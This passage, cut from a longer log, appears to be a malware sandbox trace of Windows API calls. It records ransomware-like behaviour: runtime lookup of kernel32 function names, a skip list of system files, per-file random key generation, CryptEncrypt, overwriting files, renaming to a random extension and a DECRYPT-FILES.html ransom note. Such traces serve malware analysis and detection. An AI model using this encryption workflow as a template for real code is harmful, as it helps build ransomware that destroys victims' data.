returned 11 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0142.866] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0142.866] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0142.866] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0142.866] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0142.866] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0142.866] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0142.866] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0142.866] lstrlenA (lpString="CREATEJOBSET") returned 12 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0142.866] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0142.866] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0142.866] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0142.866] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0142.866] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0142.866] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0142.866] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0142.866] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0142.867] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0142.867] lstrlenA (lpString="CREATEPIPE") returned 10 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0142.867] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0142.867] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0142.867] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0142.867] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0142.867] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0142.867] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0142.867] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0142.867] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0142.867] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0142.867] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0142.867] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0142.867] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0142.867] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0142.867] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0142.867] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0142.867] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0142.867] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0142.867] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0142.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0142.867] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0142.868] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0142.868] lstrlenA (lpString="CREATETHREAD") returned 12 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0142.868] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0142.868] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0142.868] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0142.868] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0142.868] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0142.868] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0142.868] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0142.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0142.868] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.BKcnpV") returned 46 [0142.868] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.BKcnpV" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.bkcnpv"), dwFlags=0x0) returned 1 [0142.870] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.870] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.870] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.871] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0142.871] FindClose (in: hFindFile=0x3b81380 | out: hFindFile=0x3b81380) returned 1 [0142.871] CloseHandle (hObject=0x528) returned 1 [0142.871] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ca466b, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47ca466b, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47ca466b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x31, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0142.871] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0142.871] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x31, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="DECRYPT-FILES.html") returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="autorun.inf") returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="boot.ini") returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="desktop.ini") returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="ntuser.dat") returned -1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="iconcache.db") returned -1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="bootsect.bak") returned 1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="ntuser.dat.log") returned -1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="thumbs.db") returned -1 [0142.871] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="Bootfont.bin") returned 1 [0142.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0142.871] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0142.871] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0142.871] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="DHtmlHeader.html" | out: lpString1="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html" [0142.871] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.872] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0142.872] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bea28 | out: lpFileSize=0x38bea28*=16118) returned 1 [0142.872] CreateFileMappingW (hFile=0x528, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x470 [0142.872] MapViewOfFile (hFileMappingObject=0x470, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0142.899] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0142.899] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0142.899] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0142.900] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be990*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be990*=0x100) returned 1 [0142.900] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0142.900] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.900] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0142.901] CloseHandle (hObject=0x470) returned 1 [0142.901] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.901] WriteFile (in: hFile=0x528, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be9b0, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be9b0*=0x108, lpOverlapped=0x0) returned 1 [0142.901] CloseHandle (hObject=0x0) returned 0 [0142.902] CloseHandle (hObject=0x528) returned 1 [0142.902] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.903] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.903] GetTickCount () returned 0x3905a [0142.903] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.903] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0142.903] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0142.903] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0142.904] lstrlenA (lpString="kernel32.dll") returned 12 [0142.904] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0142.904] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0142.904] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0142.904] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0142.904] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0142.904] lstrlenA (lpString="ADDATOMA") returned 8 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0142.904] lstrlenA (lpString="ADDATOMW") returned 8 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0142.904] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0142.904] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0142.904] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0142.904] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0142.904] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0142.904] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0142.904] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0142.904] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0142.904] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0142.905] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0142.905] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0142.905] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0142.905] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0142.905] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0142.905] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0142.905] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0142.905] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0142.905] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0142.905] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0142.905] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0142.905] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0142.905] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0142.905] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0142.905] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0142.905] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0142.905] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0142.905] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0142.905] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0142.905] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0142.905] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0142.905] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0142.906] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0142.906] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0142.906] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0142.906] lstrlenA (lpString="BACKUPREAD") returned 10 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0142.906] lstrlenA (lpString="BACKUPSEEK") returned 10 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0142.906] lstrlenA (lpString="BACKUPWRITE") returned 11 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0142.906] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0142.906] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, 